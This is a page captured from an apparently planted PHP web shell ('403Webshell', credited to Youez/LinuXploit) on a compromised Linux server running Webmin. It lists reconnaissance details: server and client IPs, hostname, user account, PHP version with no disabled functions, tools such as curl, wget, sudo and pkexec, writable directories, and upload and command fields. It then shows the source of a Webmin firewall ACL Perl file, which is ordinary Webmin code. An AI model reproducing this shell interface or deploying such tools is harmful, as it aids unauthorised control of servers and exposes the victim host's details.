403Webshell
Server IP : 104.21.25.180  /  Your IP : 104.23.197.122
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/webmin/firewall/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/webmin/firewall/acl_security.pl
do 'firewall-lib.pl';
@acl_features = ("newchain", "delchain", "policy", "apply", "unapply", "bootup", "setup", "cluster");

# acl_security_form(&options)
# Output HTML for editing security options for the acl module
sub acl_security_form
{
my ($o) = @_;

# Show editable tables
my $tables = "";
foreach $t (@known_tables) {
	$tables .= &ui_checkbox($t, 1, $text{'index_table_'.$t},
				$o->{$t})."<br>\n";
	}
print &ui_table_row($text{'acl_tables'}, $tables, 3);

# Show allowed target types
print &ui_table_row($text{'acl_jumps'},
	&ui_opt_textbox("jumps", $o->{'jumps'}, 40, $text{'acl_jall'}), 3);

# Show bootup/apply options
foreach my $f (@acl_features) {
	print &ui_table_row($text{'acl_'.$f},
		&ui_yesno_radio($f, $o->{$f}));
	}
}

# acl_security_save(&options)
# Parse the form for security options for the acl module
sub acl_security_save
{
my ($o) = @_;

foreach my $t (@known_tables) {
	$o->{$t} = $in{$t};
	}
foreach my $f (@acl_features) {
	$o->{$f} = $in{$f};
	}
$o->{'jumps'} = $in{'jumps_def'} ? undef : $in{'jumps'};
}


Youez - 2016 - github.com/yon3zu
LinuXploit